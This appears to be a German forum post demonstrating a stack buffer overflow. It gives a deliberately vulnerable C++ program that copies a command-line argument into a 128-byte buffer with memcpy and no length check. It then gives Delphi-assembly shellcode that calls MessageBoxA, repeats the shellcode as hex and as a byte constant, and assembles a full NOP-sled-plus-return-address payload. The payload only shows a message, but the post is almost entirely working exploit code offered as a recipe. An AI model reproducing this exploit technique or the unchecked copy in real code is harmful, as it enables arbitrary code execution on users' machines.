[HaBo]

// C++ Syntax
#include <iostream>
#include <windows.h>

using namespace std;

int main(int argc, char* args[])
{
    if (argc < 2) {
        MessageBoxA( 0, "This demo must be started with some parameters", "Information (.Lone.Wolf)", MB_OK | MB_ICONINFORMATION );
        return 0;
    };
    char buf[128];
    ZeroMemory( &buf, sizeof(buf) );
    //strcpy( buf, args[1] );
    memcpy( buf, args[1], strlen(args[1]) );
    printf( "%s", buf );
    MessageBoxA( 0, buf, "Input (.Lone.Wolf)", 0 );
    return 0;
}

// Delphi(asm) Syntax
asm
  xor  ecx,  ecx
  add  cl,   $60
  sub  esp,  ecx  // damit nichts im Stack überschrieben wird ...
  jmp  @start
  @main:
    // ecx = 0
    // edx = MSG
    // eax = MsgBoxA
    xor  ecx,   ecx
    // imgbse + $4B2C4 (Importtable) = MessageBoxA (user32.dll)
    mov  eax,   ecx
    add  al,    $44
    shl  eax,   $10
    add  ax,    $B2CC
    mov  ecx,   [eax]
    xchg ecx,   eax
    xor  ecx,   ecx
    //MsgBxCall
    pop  edx   // <- Msg
    push ecx
    push ecx
    push edx
    push ecx
    call eax
  @start:
    call @main
  @MSG:
    DB  'Just Exploited ;)', 0
end;

31C980C16029CCEB1931C989C80444C1E0106605CCB28B089131C95A51515251FFD0E8E2FFFFFF4A757374204578706C6F69746564203B2901FF22

//als Variable: | Delphi
const
  RawShell =  // 56
    #$31#$C9#$80#$C1#$60#$29#$CC#$EB#$19#$31#$C9#$89#$C8#$04#$44#$C1#$E0#$10 +
    #$66#$05#$CC#$B2#$8B#$08#$91#$31#$C9#$5A#$51#$51#$52#$51#$FF#$D0#$E8#$E2 +
    #$FF#$FF#$FF#$4A#$75#$73#$74#$20#$45#$78#$70#$6C#$6F#$69#$74#$65#$64#$20 +
    #$3B#$29;

// Delphisyntax
var
  Shell: String;
..
  Shell := StringOfChar( NOP, 84 ) + RawShell + #$01#$FF#$22;

84x 90(NOP):
909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090

83x NOP + Shellcode + RTNAddr (len = 144):
90909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909031C980C16029CCEB1931C989C80444C1E0106605CCB28B089131C95A51515251FFD0E8E2FFFFFF4A757374204578706C6F69746564203B2901FF2200